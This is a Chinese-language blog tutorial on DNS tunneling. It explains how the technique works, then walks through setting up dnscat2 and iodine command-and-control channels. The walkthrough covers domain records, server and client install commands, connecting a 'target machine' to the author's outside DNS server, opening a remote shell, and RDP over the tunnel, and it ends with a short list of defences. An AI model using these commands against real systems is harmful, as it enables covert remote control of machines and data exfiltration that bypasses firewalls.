DNS隧道

DNS隧道技术原理

什么是隧道?

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

什么是DNS隧道?

DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件,因此,DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。

DNS隧道的原理:

在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。

DNS隧道分为两种:

直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求

中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。

区别在于直连模式速度相对快,但安全性相对较差。非直连模式速度相对较慢,但安全性相对较高。大多数情况下都使用中继模式。

(另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。)

这里我们假设我们部署的是中继DNS隧道,首先我们的被控制器要查询xxx.xxx.xxx(攻击者构造的域名),当本地缓存不存在这个域名时,它将前往DNS服务器节点查询,然后DNS服务器在我们自己伪装的DNS服务器上查询到域名地址对应的IP,那么我们就可以封装加密的C&C指令传输到被控端上。

DNS隧道技术实现

仅演示中继隧道搭建,因为这种隧道在实战中用的比较多

dnscat2

https://github.com/iagox86/dnscat2

dnscat2使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用shell及DNS查询类型(TXT MX CNAME A AAAA),多个同时进行的会话类似于SSH中的隧道。严格来讲,dnscat2是命令与控制工具

dnscat2通过DNS进行控制并执行命令,具有如下特点:

支持多个会话

流量加密

使用密钥防止中间人攻击

在内存中直接执行powershell脚本

隐蔽通信

1、 部署域名解析

主要是添加这两条记录,这里我使用的是godaddy的域名和百度云服务器

A记录:用于描述域名到IP地址的映射关系

NS记录:用于指定该域名由哪个DNS服务器来进行解析

第二行A类型的解析结果是:告诉域名服务器ns1.yokan.***地址为1**.***.***.*** 。第七行NS类型的解析结果是:告诉域名服务器c**.yokan.***的地址为ns1.yokan.***。

配置完成后,测试一下域名解析是否设置成功:

A类解析 :

ping ns1.yokan.***

如果该命令能够执行,且显示的IP地址为1**.***.***.***(服务器地址),说明第一条A类解析设置成功并已生效。

NS解析:

在服务器上进行抓包(端口53的UDP包),命令如下:

tcpdump -n -i eth0 udp dst port 53

输入如下命令

nslookup ***.yokan.***

如果抓到对域名c**.yokan.***进行查询的DNS请求数据包,就说明第二条NS解析设置已经生效。

2、安装dnscat2服务端

因为服务端是用Ruby语言编写的,所以需要配置Ruby环境。

Ubuntu上安装:

apt-get install gem

apt-get install ruby-dev

apt-get install libpq-dev

apt-get install ruby-bundler

apt-get install git

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server

bundle install

接下来,执行如下命令,启动服务端

sudo ruby ./dnscat2.rb c**.yokan.*** -e open -c just_test --no-cache

-c :  定义了“pre-shared secret”,可以使用具有预共享密钥的身份验证机制来防止中间人攻击。否则,因为传输的数据并未加密,所以可能被监听网络流量的第三方还原。如果不定义此参数,dnscat2会生成一个随机字符串(将其复制下来,在启动客户端时需要使用它)

-e :  规定安全级别。“open”表示服务端允许客户端不进行加密

--no-cache :  禁止缓存。务必在运行服务器时添加该选项,因为powershell-dnscat2客户端与dnscat2服务器的Caching模式不兼容。

3、在目标主机上安装客户端

dnscat2客户端是使用C语言编写的,因此在使用前需要进行编译。在Windows中,可以使用VS进行编译;在Linux中,直接运行“make install”命令即可进行编译。

在Linux中输入如下命令,在目标机器上安装dnscat2客户端

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/client/

make

在本次测试中,目标机器的操作系统是Windows,因此可以直接使用编译好的Windows客户端https://downloads.skullsecurity.org/dnscat2/

推荐使用powershell版本的dnscat2客户端

https://github.com/lukebaggett/dnscat2-powershell

(如果要使用dnscat2-Powershell脚本,目标Windows机器需要支持powershell2.0以上版本)。

把脚本下载到目标机器中,执行如下命令加载脚本:

Import-Module .\dnscat2.ps1

加载脚本后,执行如下命令,开启dnscat2-powershell服务:

Start-Dnscat2 -Domain ***.yokan.*** -DNSServer 106.***.***.***

在客户端中运行dnscat2.ps1脚本之后,在服务器中可以看到客户端上线的提示

4、反弹shell

dnscat2服务端使用的是交互模式,所有的流量都由DNS来处理。dnscat2的使用方法和Metasploit类似。

输入“Windows”或者“sessions"命令,可以查看当前的控制进程(每个连接都是独立的)。输入”window -i 1"或者“session -i 1"命令,进入目标主机,输入“help”命令,可以查看控制台支持的命令。

输入"shell”命令,打开另外一个会话,建立一个交互环境。可以输入cmd指令,进行查询

调用exec命令,可以远程打开程序。例如

exec notepad.exe

执行如下命令,创建一个控制台,然后可以执行powershell命令和脚本

exec psh

iodine

iodine可以通过一台DNS服务器制造一个IPv4数据通道,特别适合在目标主机只能发送DNS请求的网络环境中使用。iodine是基于C语言开发的,分为服务端程序iodined和客户端程序iodine。kali中内置了iodine。 下载:https://github.com/Al1ex/iodine

iodine相对于dnscat2来说,速度和稳定性都是在dnscat2之上的。

iodine工作原理是:通过 TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP 建立一个虚拟网卡;两者通过 DNS 隧道连接,处于同—个局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块名为“dns0”的虚拟网卡。更多使用方法和功能特性,请参考iodine的官方文档:http://code.kryo.se/iodine

1、安装服务端

首先,设置域名。在这里要尽可能使用短域名(域名越短,隧道的带宽消耗就越小)。设置A记录iodine服务器的IP地址,将NS记录指向此域名

接下来,在服务端中安装iodine。在Windows中,需要安装编译好的对应版本的iodine。在Kali Linux中,默认安装了iodine。如果使用的是基于Debian的发行版Linux,可以执行如下命令进行安装:

apt install iodine

安装后,就可以使用如下命令运行iodine了

iodined -f -c -P just_test 192.168.0.1 ***.yokan.*** -DD

-f :  在前台运行

-c :  禁止检查所有传入请求的客户端IP地址

-P :  客户端和服务器之间用于验证身份的密码

-D :  指定调试级别。 -DD指第二级。“D”的数量随等级增加

这里的192.168.0.1是自定义的局域网虚拟IP地址。完成基本配置后,可以通过iodine检查页面(https://code.kryo.se/iodine/check-it)检查配置是否正确

如果配置无误却无法正常工作,需要检查服务端的防火墙配置情况。

2、 安装客户端,并使用DNS隧道

2.1目标主机为Linux

在Linux客户端机器上,只需要安装iodine客户端,命令如下:

apt install iodine

iodine -f -P just_test ***.yokan.*** -M 200

-r :  iodine有时可能会自动将DNS隧道切换为UDP通道,该参数的作用是强制在任何情况下使用DNS隧道

-M :  指定上行主机名的大小

-m :  调节最大下行分片的大小

-T :  指定所使用的DNS请求的类型,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A

-O :  指定数据编码规范

-L :  指定是否开启懒惰模式(默认为开启)

-I :  指定请求与请求之间的时间间隔

出现这个表明建立连接成功

可以看到,客户端上多了一块dns0虚拟网卡

并且可以看到路由规则上增添了192.168.0.0这个网段

使用DNS隧道:

返回服务器查看,发现在服务端上已经建立了连接

新启一个终端,我们尝试在服务器上远程连接目标机器,显示连接成功:

2.2目标主机为Windows

如果目标机器是Windows机器,需要下载编译好的Windows版本,同时,需要安装TAP网卡驱动程序。也可以下载某VPN,在安装时仅选择TAP-Win32驱动程序。安装后,服务器上多了一块名为"TAP-Windows Adapter V9"的网卡

然后我们接着下载iodine的windows客户端http://code.kryo.se/iodine/iodine-0.7.0-windows.zip

将iodine-0.7.0-Windows解压后,进入解压目录,输入如下命令,连接服务端

( 要以管理员的身份运行命令,我认为iodine唯一的缺点就是要高权限运行命令,可能要配合提权操作才能充分发挥iodine的作用)

iodine.exe -f -P just_test ***.yokan.***

如果出现,如上图,“Connection setup complete, transmitting data.”的提示信息,就表示DNS隧道已经建立了。

此时,TCP over DNS已经建立了。在客户端执行"ping 192.168.0.1"命令,连接成功

使用DNS隧道:DNS隧道的使用方法比较简单。由于客户端和服务器在同一个局域网中,只要直接访问即可。例如,登录目标主机的3389端口,就可以直接执行"rdesktop 192.168.0.2:3389"命令。同样,目标主机也可以通过SSH进行登录服务器

防御DNS隧道的方法

防御隧道攻击并非易事,特别是防御DNS隧道攻击。通过如下操作,能够防御常见的隧道攻击行为。

i)禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信

ii)虽然没有人会将TXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器/网关会这样做。因此,可以将邮件服务器/网关列入白名单并阻传人和传出流量中的TXT请求。

iii)跟踪用户的 DNS查询次数。如果达到阅值,就生成相应的报告

iv)阻止ICMP

posted @ 2021-08-24 23:26  yokan  阅读(1920)  评论(0编辑  收藏  举报